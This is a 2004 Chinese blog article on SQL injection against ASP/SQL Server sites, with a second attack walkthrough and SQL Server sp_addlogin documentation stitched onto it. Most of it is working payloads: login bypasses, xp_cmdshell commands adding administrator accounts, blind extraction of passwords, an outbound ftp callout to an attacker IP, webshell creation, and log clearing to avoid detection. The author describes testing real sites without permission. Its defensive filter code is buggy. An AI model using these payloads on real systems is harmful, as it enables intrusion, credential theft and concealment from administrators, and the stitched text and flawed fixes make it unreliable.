淺談sql注入式(SQL injection)攻擊與防範
作者:tank 日期:2004-12-16
淺談sql注入式(SQL injection)攻擊與防範
我沒有系統的學習過asp或者php編程,也沒有系統的學習過access、sqlserver、mysql等數據庫,所以我不是一個程序員,雖然經常幹一些類似程序員的事情。
因為要建立自己的站點,3次改版下來,多少也寫了幾千行程序,加上對一些論壇、留言板、文章發佈系統的測試,也發現了一些問題,現在與大家探討。
在寫這篇文章的時候,我除了在本機建立asp+access、asp+sql server測試環境,還在××安全網站、××市人才網、××網絡公司的網站上進行了部分測試,在此謹表示歉意!我是選擇在凌晨2點~3點開始的測試,而且僅限於檢索操作,所以可以肯定的說對貴站幾乎沒有什麼影響,用1個小時流量略多換取我給你們的安全報告,我想不會太虧吧,呵呵!
1、bak文件洩漏asp源代碼
很多編輯工具,如Editplus、UltraEdit,默認情況下在保存文件的時候,都會自動備份一個.bak文件。如創建或者編輯config.asp文件,則編輯器會自動生成一個config.asp.bak文件,如果沒有刪除該文件,攻擊者可以通過http://www.***.com/config.asp.bak來下載asp源程序。
可以想像,你的源程序被下載,被攻擊的風險無疑大了很多。而如果是配置文件,呵呵,用戶名、密碼、數據庫名稱/位置……
解決辦法:要麼就直接關閉編輯器的自動備份功能,要麼在上傳的時候,刪除所有.bak文件。
2、身份驗證被繞過
一般網站有很多頁面是需要身份驗證通過以後才能訪問的,而在這些頁面需要對用戶身份再次進行驗證,但是很多程序員往往忽略了這一點。如果攻擊者知道了這些頁面的路徑和文件名,就可以繞過身份驗證,直接進入到該頁面。如:需要用戶通過login.asp頁面登陸,經過身份驗證才能打開manage.asp頁面。攻擊者可以通過http://www.***.com/manage.asp直接進入管理界面。
解決辦法:在這些的頁面開頭進行身份確認。如:在身份驗證通過以後傳遞一個session("login")="ok",在manage.asp開頭加入
以下內容為程序代碼:
if session("login")<>"ok" then
response.redirect "login.asp"
end if
上面2點說的都是編程的基礎問題,下面就來討論本文的重點,關於sql注入式攻擊與防範。
3、asp程序數據庫密碼驗證漏洞
首先,關於request對象,我們知道,如果在form表單中使用get方法傳遞數據時,應該用QueryString集合來檢索表單數據;而使用post方法傳遞數據時,應該用Form集合來檢索表單數據。而更多的程序員為了方便,直接省略集合名稱,使用request("data")來檢索數據,看似簡單,實際上效率很低,而且容易出錯。asp默認搜索集合的順序是QueryString、Form、Cookie、Serverariable,當發現第一個匹配的變量時,就認定是你要訪問的成員。所以建議大家不要採用這種方法,題外話說完,我們轉入正題。
先來看login.asp文件
以下內容為程序代碼:
……
<form action="verify.asp" method="post" name="login">
用戶名<input type=text name=name value="" maxlength="20">
密碼<input type=password name=pwd value="" maxlength="20">
<input type=submit name=bt value="確認">
<input type=reset name=bt value="重置">
</form>
……
再來看verify.asp文件
以下內容為程序代碼:
……
dim rs,sql
dim name,pwd
name=request.form("name")
pwd=request.form("pwd")
if name="" or pwd="" then
response.redirect "login.asp"
end if
……
'關於身份驗證
sql="select * from user where name='"&name&"' and pwd='"&pwd&"'"
……
不要以為沒有人會這樣寫,我見過很多很多,如果你相信我:),看看攻擊者能做什麼:
(1)我們在用戶名位置輸入【admin' or 1='1】,在密碼區輸入【11】。註:內容只有【】內的。看看sql會變成什麼:
以下內容為程序代碼:
sql=select * from user where name='admin' or 1='1' and pwd='11'
我們知道,or是一個邏輯運算符,在判斷多個條件的時候,只要有一個成立,則等式就返回真,後面的and就不再進行判斷了,也就是說我們繞過了密碼驗證,只要我們知道用戶名就可以登陸該系統。
(2)我們也可以在用戶名位置輸入【admin' --】,在密碼區輸入【11】。再看看sql:
以下內容為程序代碼:
sql=select * from user where name='admin' --' and pasword='11'
同樣,通過連接符--註釋掉了後面的密碼驗證,對access數據庫無效。
(3)如果可以通過連接符註釋掉後面的驗證,那麼就更有意思了,來看我們能作什麼:
a、在用戶名位置輸入【admin';exec master.dbo.sp_addlogin Cool;--】,添加一個sql用戶
b、在用戶名位置輸入【admin';exec master.dbo.sp_password null,123456,Cool;--】,給Cool設置密碼為123456
c、在用戶名位置輸入【admin';exec master.dbo.sp_addsrvrolemember Cool,sysadmin;--】,給Cool賦予System Administrator權限
EXEC sp_addlogin 'Albert', 'food', 'corporate'
d、在用戶名位置輸入【admin';exec master.dbo.xp_cmdshell 'net user Cool 123456 /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- 】,給系統添加一個密碼為123456的帳戶Cool,並設置相關屬性,關於net user命令可以參考這裡。
e、在用戶名位置輸入【admin';exec master.dbo.xp_cmdshell 'net localgroup administrators Cool /add';--】,把cool用戶添加到管理員組。
現在覺得恐怖了沒有,當然我還沒說完,實現這些必須是該站點使用sa或者system administrator權限的用戶來連接數據庫,普通的的虛擬空間是不用想了,除非管理員是SB。但是對於那些站點放在自己服務器上的網站,很難說哦,真的很難說,呵呵,我見過N個。
那如果不是sa,是不是就什麼也不能做了,當然不是!只是不能獲得太高權限來控制sql庫和系統了,但是對這個庫,我們還是擁有完整的管理權限。來看看我們能作什麼:
a、輸入【admin';delete user;--】,一旦他的表名就是user,就會刪除user表裡所有記錄。夠狠吧!你可千萬別這麼做哦!
b、輸入【admin';insert into user (name,pwd) values ('cool','123456');--】,可以給user表添加一個用戶,當然前提是表名和字段名都要正確。
c、輸入【admin';update news set pwd='123456' where name='admin';--】,可以修改admin的密碼,當然前提也是表名和字段名都要正確。
更多的攻擊內容,你可以參考sql語法。
看來如果不是sa還是比較鬱悶的,當然,我們也有一些簡單的方法來判斷網站是否使用sa來連接數據庫。
a、在cmd中執行nc -l -p 21,監聽本機的21端口;當然也可以採用火牆什麼的。
b、輸入【admin';exec master.dbo.xp_cmdshell 'ftp *.*.*.*'】,其中*代表你的ip地址,如果發現有連接,就可以斷定是使用sa了,而且可以獲得網站數據庫的ip地址,因為有些網站web和sql是放在不同服務器上的;如果沒有連接,則網站使用的是非sa帳戶。
可能有的朋友已經看出來了,如果網站使用的是sa,我們可以通過頁面從內部發起連接,可以構造ftp腳本,也可以使用tftp來上傳文件,即使有火牆也是枉然。
也許有的朋友會說,人家在表單裡已經這裡了最大長度是20,你跟本就輸入不了那麼多!沒事,難不倒我們。
方法一:
a、打開網站頁面http:\\www.***.com\login.asp,查看源文件,把提交表單部分
以下內容為程序代碼:
<form action="verify.asp" method="post" name="login">
用戶名<input type=text name=name value="" maxlength="20">
密碼<input type=password name=pwd value="" maxlength="20">
<input type=submit name=bt value="確認">
<input type=reset name=bt value="重置">
</form>
拷貝出來,存到本機login.htm
b、修改action為http:\\www.***.com\verify.asp,即:
以下內容為程序代碼:
<form action="http:\\www.***.com\verify.asp" method="post" name="login">
用戶名<input type=text name=name value="" maxlength="20">
密碼<input type=password name=pwd value="" maxlength="20">
<input type=submit name=bt value="確認">
<input type=reset name=bt value="重置">
</form>
注意:有的網站這裡的action為空,就需要你自己慢慢找找他提交到那裡去了,呵呵,我遇到過這種情況,一般來說都是可以找到的。
c、修改maxlength,加大,再加大,要不就刪除了!
d、從本地提交變量
方法二:
Cool.reg
9x用戶:
以下內容為程序代碼:
REGEDIT4
[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt\給我加大>
@="c:\\cool.htm"
"contexts"=dword:00000004
2k用戶:
以下內容為程序代碼:
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt\給我加大>
@="c:\\cool.htm"
"contexts"=dword:00000004
Cool.htm
以下內容為程序代碼:
<script language=vbs>
set srcevent = external.menuarguments.event
set doc=external.menuarguments.document
set ele=doc.elementfrompoint( srcevent.clientx, srcevent.clienty )
if ele.type ="text" or ele.type="password" then
ele.maxlength=100
ele.size=100
end if
</script>
a、拷貝cool.reg的內容,保存,執行並確認。
b、拷貝cool.htm的內容,保存到指定位置,這裡是c:\
c、打開網頁http://www.***.com,在輸入框位置點擊右鍵,會看到「給我加大」一項,點擊即可
當然,我們可以修改cool.reg來改變cool.htm的路徑以及文件名;也可以修改cool.htm來改變size和maxlength。
好了,說了這麼多恐怖的東東,來看看怎麼防範。
(1)過濾提交數據;我們可以通過
以下內容為程序代碼:
……
dim name,pwd
name=request.form("name")
name=replace(name,"'","』") '替換半角'為全角'
name=replace(exp1,"-","") '替換-為空
name=replace(exp1,";","") '替換;為空
……
或者
以下內容為程序代碼:
……
dim name,pwd
name=request.form("name")
if InStr(name,"'") or InStr(name,"-") or InStr(name,";") then
response.write("<script language=""JavaScript"">alert(""error!"");history.go(-1);</script>")
response.end
end if
……
具體的過濾條件,或者替換還需要結合實際來使用。
(2)verify.asp文件本身驗證的邏輯就是錯誤的,應該修改為:
以下內容為程序代碼:
……
set rs=server.createobject("adodb.recordset")
sql="select * from user where name='"&name&"'"
rs.open sql,conn_data,1,1
'身份驗證過程
if not rs.eof then
if pwd=rs("pwd") then
session("login")="ok"
response.redirect "/default.asp"
else
response.redirect "login.asp"
end if
else
response.redirect "login.asp"
end if
……
也就是說以用戶名為條件檢索數據庫,用檢索到的記錄的密碼與客戶端輸入的密碼進行比較。
(3)對用戶密碼加密處理,網上有很多相關的加密過程,這裡假定為encrypt(),則verify.asp就應該是
以下內容為程序代碼:
……
set rs=server.createobject("adodb.recordset")
sql="select * from user where name='"&name&"'"
rs.open sql,conn_data,1,1
'身份驗證過程
if not rs.eof then
if encrypt(pwd)=rs("pwd") then '這裡對輸入的密碼進行加密處理
session("login")="ok"
response.redirect "/default.asp"
else
response.redirect "login.asp"
end if
else
response.redirect "login.asp"
end if
……
(4)用不同的用戶帳戶執行查詢、插入、更新、刪除操作。由於隔離了不同帳戶可執行的操作,因而也就防止了原本用於執行Select命令的地方卻被用於執行Insert、Update或Delete命令。如果是大型官方站點,千萬不要怕麻煩!
(5)通過數據庫設置特定的存儲過程,只允許特定的存儲過程執行,所有的用戶輸入必須遵從被調用的存儲過程的安全上下文,這樣就很難再發生注入式攻擊了。
(6)限製表單或查詢字符串輸入的長度。如果用戶的登錄名字最多只有20個字符,那麼不要認可表單中輸入的20個以上的字符,這將大大增加攻擊者在SQL命令中插入有害代碼的難度。當然,我們可以通過本地提交來繞過這個限制,但是也不是沒有辦法來控制,來看:
a、在取數據的時候,只取有效長度內的數據。
以下內容為程序代碼:
……
dim name,pwd
name=left(request.form("name"),20)
……
b、在服務器確認提交位置
login.asp
以下內容為程序代碼:
……
<form action="verify.asp" method="post" name="login">
<input type="hidden" name="referer" value="<%=Request.ServerVariables("HTTP_REFERER")%>">
<input type="hidden" name="ser_name" value="<%=Request.ServerVariables("SERVER_NAME%>">
用戶名<input type=text name=name value="" maxlength="20">
密碼<input type=password name=pwd value="" maxlength="20">
<input type=submit name=bt value="確認">
<input type=reset name=bt value="重置">
</form>
……
這裡傳遞了2個參數referer,ser_name
verify.asp
以下內容為程序代碼:
……
dim referer,ser_name
'取這2個參數
referer=Cstr(Request.ServerVariables("HTTP_REFERER"))
ser_name=Cstr(Request.ServerVariables("SERVER_NAME"))
'判斷瀏覽器位置
if mid(referer,8,len(ser_name))<>ser_name then
response.redirect "login.asp"
end if
……
這樣,如果你不是在該網站提交的數據,就不能夠順利登陸。
(7)檢查提取數據的查詢所返回的記錄數量。如果程序只要求返回一個記錄,但實際返回的記錄卻超過一行,那就當作出錯處理。
4、網頁傳遞參數不進行過濾處理
很多網站都存在這個問題,比如http://www.***.com/show.asp?id=50,在沒有對id進行過濾,或有效過濾的情況下,整個網站都處在非常危險的境地。
我們可以通過很簡單的辦法測試是否存在這個問題:
http://www.***.com/show.asp?id=50 and 1=1
如果頁面顯示正確,基本上可以斷定它存在這個問題。
來看看攻擊者能做寫什麼:
(1)http://www.***.com/show.asp?id=50;exec master.dbo.sp_addlogin Cool;--
(2)http://www.***.com/show.asp?id=50;exec master.dbo.sp_password null,123456,Cool;--
(3)http://www.***.com/show.asp?id=50;exec master.dbo.sp_addsrvrolemember Cool,sysadmin;--
(4)http://www.***.com/show.asp?id=50;exec master.dbo.xp_cmdshell 'net user Cool 123456 /add';--
(5)http://www.***.com/show.asp?id=50;exec master.dbo.xp_cmdshell 'net localgroup administrators Cool /add';--
只要是表單中能提交的,這裡基本都可以提交。
(6)猜表名:http://www.***.com/show.asp?id=50 and 0<>(select count(*) from tablename),這裡的tablename就是你猜測的表名。如果頁面顯示正常,則你猜測的表名是正確的。
(7)猜字段名:http://www.***.com/show.asp?id=50 and 0<>(select count(fieldname) from tablename),這裡的fieldname是表中某一字段名,如果頁面顯示正常,可以斷定字段名稱正確。
(8)在獲得tablename和fieldname以後,就可以更進一步了。
比如是登陸系統,tablename是user,fieldname是id,name和pwd,看看能做些什麼:
a、http://www.***.com/show.asp?id=50 and 0<>(select count(*) from user where id>1000)
粗略判斷用戶數量
b、http://www.***.com/show.asp?id=50 and 1=(select count(*) from user where id=1 and len(name)=10)
判斷id為1的用戶的用戶名長度是否為10
c、http://www.***.com/show.asp?id=50 and 1=(select count(*) from user where id=1 and mid(name,n,1)='a')
判斷id為1的用戶的用戶名的第n位是否為a
d、http://www.***.com/show.asp?id=50 and 1=(select count(*) from user where id=1 and len(pwd)=10)
判斷id為1的用戶的密碼長度是否為10
e、http://www.***.com/show.asp?id=50 and 1=(select count(*) from user where id=1 and mid(pwd,n,1)='a')
判斷id為1的用戶的密碼的第n位是否為a,如果你的密碼沒有加密,嘿嘿!
當然mid(pwd,n,1)也可以寫成right(left(pwd,n),1),個人習慣了!
不過這樣子一點一點的試,是不是太累了,那就自己用用perl寫個小東東吧,掛個字典?呵呵,隨你便!
另外,還有一個小技巧,可以讓你很快的破解用戶名和密碼,我用這種方法,在10分鐘內完成了猜表名、猜列名、破解一個10位長(其中5位漢字)的用戶名、破解它的12位(1位漢字)密碼,獲得了××安全網站的後台管理員用戶名和密碼,不過其中有8項內容是通過社會工程學猜的,呵呵。只是有點鬱悶的是我沒有找到網站後台的登陸界面,鬱悶ing……
a、http://www.***.com/show.asp?id=50 and 1=(select count(*) from user where id=1 and len(name)=10)
先確定用戶名長度
b、http://www.***.com/show.asp?id=50 and 1=(select count(*) from user where id=1 and len(pwd)=10)
再確定密碼長度
c、http://www.***.com/show.asp?id=50 and 1=(select count(*) from user where id=1 src(mid(name,1,1))<0)
判斷用戶名第一位是否為中文,如果是中文,一般都是負的好多
如果不是,一般範圍都在27~126之間,可以使用
http://www.***.com/show.asp?id=50 and 1=(select count(*) from user where id=1 src(mid(name,n,1))>60)
http://www.***.com/show.asp?id=50 and 1=(select count(*) from user where id=1 src(mid(name,n,1))<100)
來確定範圍,最終得出asc碼值,通過對照(常用ASCII 碼對照表)來獲得第n位內容。
如果是中文,應該小於-32,768,可以使用
http://www.***.com/show.asp?id=50 and 1=(select count(*) from user where id=1 src(mid(name,n,1))>-30000)
http://www.***.com/show.asp?id=50 and 1=(select count(*) from user where id=1 src(mid(name,n,1))<-10000)
來確定範圍,最終得出asc碼值,通過轉換獲得第n位的內容,方法多多,許多編輯工具都有這個功能,也可以使用chr()函數直接輸出進行轉換。
d、同理,可以很快獲得密碼內容。
這裡你是否也看到了剛才提到的request對像中省略集合名稱的問題呢?!:)
解決辦法:這類問題,主要是對傳遞參數的過濾和對數據合法性的驗證。
限於個人水平,以上內容不一定完全正確,而且還有許多沒有提及的地方,希望和大家更多的交流。
第一還是踩點,找到入口,現在注入這麼流行,還是注入吧,因為一般網站都是ASP+MSSQL結構來架設的假如這個。www.***.com/script.asp?id=48
還是一樣用, ; and 1=1 and 1=2判斷一下,確定可以注入後,我們就可以利用這個漏洞拿到服務器和數據庫的一些相關信息。想看服務器打的補丁情況,我們提交:
www.***.com/script.asp?id=48 and 1=(select @@VERSION)
我想現在大部分服務器都打上SP4補丁了。我們看看其它的,看看他的數據庫連接賬號的權限,提交:
www.***.com/script.asp?id=48 and 1=(Select IS_SRVROLEMEMBER('sysadmin'))
如果返回正常,這證明當前連接的賬號是服務器角色sysadmin權限了,看來連接賬號多半是採用SA賬號連接的了,自己有好做的了,還是試一下。萬一猜錯了呢?提交:
www.***.com/script.asp?id=48 and 'sa'=(Select System_user)
用來查看連接賬號是不是用sa 連接的,如果IE返回正常。這證明了連接賬號真的是SA,看來權限是高了哦
(如果要獲得已登錄用戶的身份,則使用Transact-SQL 語句:Select SYSTEM_USER)
下面我們就利用MSSQL存儲過程,得到WebShell,首先還是看看xp_cmdshell是否被管理員刪除了 提交:
www.***.com/script.asp?id=48 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype ='X' AND name = 'xp_cmdshell')
如果被刪除了,NO PROBLEM 我們給他恢復一下。提交:
www.***.com/script.asp?id=48;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll'
試一下 看看xp_cmdshell是不是恢復過來了 提交:
www.***.com/script.asp?id=48 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype ='X' AND name = 'xp_cmdshell')
如果沒有返回內容。這證明,管理員把xplog70.dll這個動態鏈接庫給改名了。要不給刪除了。現在大家可以用上面的方法試試了,到這裡有耐心的話還可以繼續啊。可以用CZY提到的方法試試。
不過還用到兩個MSSQL存儲過程
xp_regread 擴展存儲過程和xp_regread Web 助手存儲過程:
xp_regread是用來讀取註冊表信息的,我們通過這個存儲過程來得到保存在註冊表中Web絕對路徑
sp_makewebtask在我們這裡是用來得到WebShell的,其主要功能就是導出數據庫中表的記錄為文件,文件名你可以自己指定。當然我們這裡就指定為ASP腳本文件
CZY的文章已經寫得很詳細了。所以,我這裡就只簡單的提一下吧! 先創建一個表,建一字段,然後向這個字段中加入木馬的內容。然後,把內容通過xp_makewebtask存儲過程導出成ASP腳本保存在Web絕對路徑中
再次刪除建的臨時表 不知道的可要到網上找找哦!
不過還是先看看這兩個存儲過程是不是被刪了。。提交:
www.***.com/script.asp?id=48 and 1=(Select count(*) FROM master.dbo.sysobjects Where name='xp_regread')
www.***.com/script.asp?id=48 and 1=(Select count(*) FROM master.dbo.sysobjects Where name='sp_makewebtask')
如果兩個都返回正常的話,說明兩個存儲過程都沒有刪除 :
(大家都知道MS的東西很多都放在註冊表中的,Web位置我們可以在註冊表中得到,位置如下:
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots
利用擴展存儲過程xp_regread我們可以取得它的值.
EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/'
這樣,就取出來了,但問題又來了,取是取出來了,我們怎麼在IE中返回它的值呢?首先:先創建一個臨時表,表中加一字段,類型為:char 255。呵呵,用它來保存Web絕對路徑的值。表建好後,我們就用讀取註冊表的方法,把返回的值保存在一變量中。然後向新建的表中加入記錄(即變量的值)。這樣,路徑就寫入到了表中。提交:
DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE',
'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into 臨時表 (臨時字段名) values(@result);--
然後,我們再提交: 1=(select count(*) from 臨時表 where 臨時字段名>1) )
我們用CZY的方法繼續提交:
www.***.com/script.asp?id=48;create table [dbo].[ABCD] ([DACB][char](255));
這樣我們就成功地建了一個名為ABCD的表,並且添加了類型是char,長度為255的字段名DACB。然後向表中加數據:
www.***.com/script.asp?id=48;create @result varchar(255) EXEC master.dbo.xp_regread
'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/',
@result output insert into cyfd (DACB) values(@result);--
繼續提交從註冊表中讀出Web絕對路徑,再把路徑插入到剛建的表中。然後報出WebShell的絕對路徑
www.***.com/script.asp?id=48 and 1=(select count(*) from cyfd where gyfd > 1)
IE返回錯誤,我們得到Web絕對路徑 例如:e:\Inetpub\wwwroot
還要刪除剛才建的表 提交:
www.***.com/script.asp?id=48;drop table cyfd;--
接下來就好辦多了,路徑都知道了。得到WEBSHELL因該沒問題了吧,得到WEBSHELL後,通過WEBSHELL上傳xplog70.dll傳到E:\inetpub\wwwroot目錄下 我們給他恢復下。提交:
www.***.com/script.asp?id=48;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'e:\inetpub\wwwroot\xplog70.dll'
(恢復,支持絕對路徑的恢復!)
用IE來查看一下是不是已經恢復了。提交:
www.***.com/script.asp?id=48 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype ='X' AND name = 'xp_cmdshell')
如IE返回正常。說明已經恢復了!下面就建用戶吧。。。。
www.***.com/script.asp?id=48;EXEC master.dbo.xp_cmdshell 'net user abcd 123456 /add'
提升管理員
www.***.com/script.asp?id=48;EXEC master.dbo.xp_cmdshell 'net localgroup administrators abcd /add'
好了到了這裡就OK了。。如果對方有終端的話,就連接吧。,還有清除IIS日誌,和MSSQL日誌 閃人!~
還有一點就是把xp_cmdshell也給他刪除掉,不要讓網管發現了。HOHO~~~~
sp_addlogin
建立新的 Microsoft® SQL Server™ 登入,允許使用者利用「SQL Server 的帳戶驗證」來連線至 SQL Server 的執行個體。
語法
sp_addlogin [ @loginame = ] 'login'
[ , [ @passwd = ] 'password' ]
[ , [ @defdb = ] 'database' ]
[ , [ @deflanguage = ] 'language' ]
[ , [ @sid = ] sid ]
[ , [ @encryptopt = ] 'encryption_option' ]
引數
[@loginame =] 'login'
是指登入的名稱。login 是 sysname,無預設值。
[@passwd =] 'password'
是指登入密碼。password 是 sysname,預設值為 NULL。在執行 sp_addlogin 之後, 會將 password 加密並儲存在系統資料表中。
[@defdb =] 'database'
是指登入的預設資料庫 (在登入之後,登入所連線的資料庫)。database 是 sysname,預設值為 master。
[@deflanguage =] 'language'
是指在使用者登入至 SQL Server 時所指派的預設語言。language 是 sysname,預設值為 NULL。若未指定 language,則 language 會設定為伺服器的現行預設語言 (此預設語言由 sp_configure 組態變數 default language 所定義)。變更伺服器的預設語言並不會變更現有登入的預設語言。在新增登入時,language 將會與使用的預設語言保持相同。
[@sid =] sid
是指安全識別碼 (SID)。sid 是 varbinary(16),預設值為 NULL。若 sid 為 NULL,則系統會針對新登入另外產生 SID。儘管是使用 varbinary 資料型別,除了 NULL 之外的值長度必須是 16 位元,而且不可是已存在的。在您編寫指令碼或將 SQL Server 登入從一伺服器移至另一伺服器時,而您希望登入在伺服器之間擁有相同的 SID,這時SID值就發揮了相當大的作用。
[@encryptopt =] 'encryption_option'
指定儲存在系統資料表中的密碼是否應加密。encryption_option 是 varchar(20),也可以為以下任一值:
值 | 說明 |
---|---|
NULL | 該密碼是已加密的,這是預設值。 |
skip_encryption | 該密碼是已加密的,SQL Server 應該儲存這個值不必重新加密。 |
skip_encryption_old | 所提供的密碼已由舊版的 SQL Server 進行加密。 SQL Server 應該儲存這個值而不需要再加密。此選項僅供升級之用。 |
傳回碼值
0 (成功) 或 1 (失敗)
備註
SQL Server 登入及密碼可以包含有 1 至 128 個字元,由字母、符號以及數字組成。但是登入不能:
- 含有反斜線 (\)。
- 為保留的登入名稱,例如 sa、public 或其他任何已存在的名稱。
- 是 NULL 或是空字串 ('')。
若預設資料庫名稱已提供,您不需執行 USE 陳述式就可以連線至指定的資料庫。但在資料庫擁有者使用 sp_adduser、sp_addrolemember 或 sp_addrole 授與該資料庫存取權限之前,您還是無法使用預設資料庫。
安全識別碼 (SID) 是唯一的 Microsoft Windows NT® 使用者識別碼。Windows NT 網域中的每位使用者保證都有唯一的安全識別碼。SQL Server 會自動使用 Windows NT 安全識別碼來識別 Windows NT 使用者及群組,並會針對 SQL Server 登入產生安全識別碼。
若在新增登入至 SQL Server 時密碼已加密,則可使用 skip_encryption 來抑制密碼進行加密。若密碼已由舊版的 SQL Server 進行加密,則可使用 skip_encryption_old。
sp_addlogin 不能在使用者自訂的交易中執行。
以下資料表顯示幾種與 sp_addlogin 組合使用的預存程序:
預存程序 | 說明 |
---|---|
sp_grantlogin | 新增 Windows NT 使用者或群組 |
sp_password | 變更使用者的密碼 |
sp_defaultdb | 變更使用者的預設資料庫 |
sp_defaultlanguage | 變更使用者的預設語言 |
權限
只有 sysadmin 及 securityadmin 固定伺服器角色的成員可執行 sp_addlogin。
範例
A. 建立無密碼及主預設資料庫的登入識別碼
此範例將建立使用者 Victoria 的 SQL Server 登入,但不指定密碼或預設資料庫。
EXEC sp_addlogin 'Victoria'
B. 建立登入識別碼及預設資料庫
此範例將建立使用者 Albert 的 SQL Server 登入,密碼為 food,且預設資料庫為 corporate。
EXEC sp_addlogin 'Albert', 'food', 'corporate'
C. 以不同預設語言建立登入識別碼
此範例將建立使用者 Claire Picard 的 SQL Server 登入,密碼為 caniche,預設資料庫為 public_db,而預設語言為法文。
EXEC sp_addlogin 'Claire Picard', 'caniche', 'public_db', 'french'
D. 以特定安全識別碼建立登入識別碼
此範例將建立使用者 Michael 的 SQL Server 登入,密碼為 chocolate,預設資料庫為 pubs,預設語言為 us_english,而安全識別碼為 0x0123456789ABCDEF0123456789ABCDEF。
EXEC sp_addlogin 'Michael', 'chocolate', 'pubs', 'us_english', 0x0123456789ABCDEF0123456789ABCDEF
E. 建立登入識別碼且密碼不進行加密
此範例將建立使用者 Margaret 的 SQL Server 登入,其在 Server1 的密碼為 Rose,萃取加密的密碼,然後利用之前加密的密碼新增使用者 Margaret 的登入至 Server2,但不進一步將密碼加密。接著使用者 Margaret 可以利用密碼 Rose 登入 Server2。
-- Server1
EXEC sp_addlogin Margaret, Rose
--Results
New login created.
-- Extract encrypted password for Margaret
Select CONVERT(VARBINARY(32), password)
FROM syslogins
Where name = 'Margaret'
--Results
------------------------------------------------------------------
0x2131214A212B57304F5A552A3D513453
(1 row(s) affected)
-- Server2
EXEC sp_addlogin 'Margaret', 0x2131214A212B57304F5A552A3D513453,
@encryptopt = 'skip_encryption'